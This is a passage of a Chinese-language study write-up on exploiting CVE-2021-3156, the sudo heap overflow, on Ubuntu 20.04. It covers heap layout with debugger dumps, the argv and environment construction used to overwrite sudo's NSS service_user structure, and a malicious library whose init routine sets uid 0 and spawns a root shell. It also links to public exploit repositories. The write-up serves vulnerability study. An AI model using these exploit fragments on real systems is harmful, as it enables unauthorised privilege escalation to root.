      • 对于size比较小的堆块,由于getlocale中堆块的申请很多,因此可能会被申请回去,目前可以肯定的是对于0x80或者大于0x80的附加堆块会保存在tcache

实现布局的操作步骤

  • 首先main函数中会调用无参数setlocale函数,通过命令行输入设置环境变量,可以配置LC_ALL环境变量申请并释放一块chunk

    "sudoedit", "-s", smash_a, "\\", smash_b, NULL, envp
    
  • 分配service_user结构;

  • 控制输入参数的长度0x80,使得user_args占据LC_ALL释放后的空闲chunk,布局在service_user相邻前方

    (0x20)   tcache_entry[0](1): 0x5555555814a0
    (0x40)   tcache_entry[2](3): 0x55555557ff40 --> 0x555555580620 --> 0x555555581380// group files
    (0x70)   tcache_entry[5](1): 0x555555580cb0 // 环境变量释放产生的0x70堆块
    (0x80)   tcache_entry[6](1): 0x555555580a90 // user_args堆块
    (0x1e0)   tcache_entry[28](1): 0x55555557f2a0
    (0x410)   tcache_entry[63](1): 0x55555557f500
    
    • 由于在setlocale函数中还有很多小堆块的操作
      • user_args堆块0x555555580a90
      • group files堆块0x555555581380
      • 两堆块之间的差值是0x8f0,我们需要覆写这些长度。中间这些堆块都是在libc中进行setlocale中产生的,对之后的程序进行没有影响,可以直接覆写
  • user_args溢出并覆盖第1个service_user结构,覆盖service_user->name字段,为伪造库名xx/xx.so.2

pwndbg> telescope 0x7ffc304d1a18 // argv存储位置
00:0000 rdx  0x7ffc304d1a18 —▸ 0x7ffc304d1df6 ◂— 'sudoedit'
01:0008      0x7ffc304d1a20 —▸ 0x7ffc304d1dff ◂— 0x414141414100732d /* '-s' */
02:0010      0x7ffc304d1a28 —▸ 0x7ffc304d1e02 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\'
03:0018      0x7ffc304d1a30 —▸ 0x7ffc304d1e3c ◂— 0x424242424242005c /* '\\' */
04:0020      0x7ffc304d1a38 —▸ 0x7ffc304d1e3e ◂— 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\'
05:0028      0x7ffc304d1a40 ◂— 0x0
06:0030      0x7ffc304d1a48 —▸ 0x7ffc304d1e76 ◂— 0x5c005c005c005c /* '\\' */
07:0038      0x7ffc304d1a50 —▸ 0x7ffc304d1e78 ◂— 0x5c005c005c005c /* '\\' */
...
40:0200   0x7ffc304d1c18 —▸ 0x7ffc304d1eea ◂— 0x5c005c005c005c /* '\\' */
41:0208   0x7ffc304d1c20 —▸ 0x7ffc304d1eec ◂— 0x5c005c005c005c /* '\\' */
42:0210   0x7ffc304d1c28 —▸ 0x7ffc304d1eee ◂— 0x2f58005c005c005c /* '\\' */
43:0218   0x7ffc304d1c30 —▸ 0x7ffc304d1ef0 ◂— 0x30502f58005c005c /* '\\' */
44:0220   0x7ffc304d1c38 —▸ 0x7ffc304d1ef2 ◂— 0x5f5030502f58005c /* '\\' */
45:0228   0x7ffc304d1c40 —▸ 0x7ffc304d1ef4 ◂— 'X/P0P_SH3LLZ_'
46:0230   0x7ffc304d1c48 —▸ 0x7ffc304d1f02 ◂— 0x433d4c4c415f434c ('LC_ALL=C')
47:0238   0x7ffc304d1c50 ◂— 0x0
  • libc会调用nss_load_library()函数加载伪造库,打开getshell的动态链接库,最终实现提权

Untitled

exp生成

  • Ubuntu20.04lts的布局所需基础信息,生成target

    {
            .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
            .sudoedit_path  = "/usr/bin/sudoedit",
            .smash_len_a    = 58,
            .smash_len_b    = 54,
            .null_stomp_len = 63,
            .lc_all_len     = 212
        },
    

    smash_a填满’A’smash_b填满‘B’,最后越界位置’\\’

    	memset(smash_a, 'A', target->smash_len_a);
    	memset(smash_b, 'B', target->smash_len_b);
    
        smash_a[target->smash_len_a] = '\\';
        smash_b[target->smash_len_b] = '\\';
    
  • 输入命令argv

    char *s_argv[]={
            // "sudoedit", "-s", smash_a, "\\", NULL
            // "sudoedit", "-s", smash_a, NULL
            "sudoedit", "-s", smash_a, "\\", smash_b, NULL
        };
    
  • 环境变量char *s_envp[MAX_ENVP];配置

    // setlocale函数运行进行堆布局 service_name与user_args
    // _nl_find_locale通过while循环按后到前顺序获取LC_xxx的值
    // 若错误AAAAA,则释放free该值的chunk
    // 若正确,_nl_global_locale.__names设为赋值,赋给对应LC_xxx
    
    // 最后的环境变量LC_ALL
    //get_user_info函数调用nss服务运行动态库getshell
    int envp_pos = 0;
    for(int i = 0; i < (0x2b6); i++) {
            s_envp[envp_pos++] = "\\";
        }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
    
    // LC_xxx环境变量,依次申请错误的AAAAA再释放
    for(i = 11; i > (11 - lc_num); i--){
    
            temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
            strcpy(temp, lc_names[i]);
            strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
            memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
            s_envp[envp_pos++] = temp;
        }
        temp = calloc(0x50 + strlen(lc_names[i]) + 10, 1);
        strcpy(temp, lc_names[i]);
        strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
        memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x50);
        s_envp[envp_pos++] = temp;
    
        i -= 1;
    
  • 自定义库lib.c

    该库实现getshell

    // getshell
    static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
    }
    

漏洞复现

程序开启ASLR、DEP和GS

  1. 以非 root 用户身份登录系统,运行命令sudoedit -s /
  2. 如果系统容易受到攻击,它将sudoedit: /: not a regular file的错误作为响应。如果在该版本漏洞已经被修复了,则以 usage: 开头的错误作为响应

实际测试得到结果如下,说明存在漏洞,可继续

sudoedit -s /
sudoedit: /: not a regular file

利用的是在github上star数最多的https://github.com/blasty/CVE-2021-3156提供的代码,能够成功在普通用户test的环境下,获取root权限访问shell

通过make编译后的目录结构如下:

./sudo-hax-me-a-sandwich 1

另一种布局方式:blasty

原始的exp是用LC_ALL此时会在sudo_conf_read函数中调用setlocale(LC_ALL, "C"),setlocale(LC_ALL, prev_locale)会申请和释放大量的堆块,此时也会释放_nl_global_locale.__names中保存的堆块地址其实就是newnames中的堆块地址也就是存储我们环境变量值的堆块,通过释放大量的0xf0堆块进入unsorted bin,然后再申请0x20的时候,制造一个0xd0大小的small bin。此时还会有一个unsorted bin,由于在get_user_info会申请一个0x80,0x1000的堆块,此时small bin,unsorted bin会互换位置,也就是0x80大小的堆块和group files service_user会在unsorted bin相邻的位置申请,非常的巧妙复杂。

0x05 漏洞&利用特点🟢

  • 不同于之前了解的off by one漏洞-难点在3块chunk布局上
    • 直接改写覆盖下一个chunk的内容即可
    • 对程序调用的libc内函数
  • 程序开启ASLR、DEP和GS的情况下,通过利用linux下nss服务和locale的特性,不需要爆破地址,也可以通过巧妙加载自定义动态链接库getshell

0x06 语义提取需求分析🟢

(按利用过程逐个分析)

  • 漏洞信息获取,如何利用该溢出\
    • 非off by one
    • 需要对漏洞所在函数语义逻辑的分析,通过末尾添加\可以越界写入
  • 可控原语获取,locale连续进行大量释放,tcache优先alloc chunk
    • 提取程序到漏洞点前的堆操作,可通过输入或环境变量操控
  • 可控内存service_user控制
    • 程序内&libc库的全局变量和指向它们的指针较多较复杂
    • fuzz方法获取
    • 如何通过输入控制它的值
      • get_user_info函数 ← service_name libnss_xxx.so.2改写
  • 如何改写可控内存实现getshell的方式(开启ASLR)
    • 了解libc库nss中可进行动态库执行这个操作

0x07 个人总结

学习:

  • 首次复现off by one之外的堆溢出类型
  • 初次接触libc库的locale & nss的利用方式

从新的角度重新思考了堆溢出语义分析如何实施

完整经历了漏洞复现分析总结的整个过程

0xff References

Exp

https://github.com/blasty/CVE-2021-3156

https://github.com/worawit/CVE-2021-3156

https://github.com/Rvn0xsy/CVE-2021-3156-plus.git

漏洞分析&利用

https://github.com/LiveOverflow/pwnedit

CVE-2021-3156-sudo缓冲区溢出复现

CVE-2021-3156 sudo heap-based bufoverflow 复现&分析

环境

Sudo Installation Notes

学习

Dive Into Tcache

glibc TCache机制_huzai9527的博客-CSDN博客_glibc 关闭tcache

由一道CTF pwn题深入理解libc2.26中的tcache机制

[原创]Tcache利用总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

Nightmare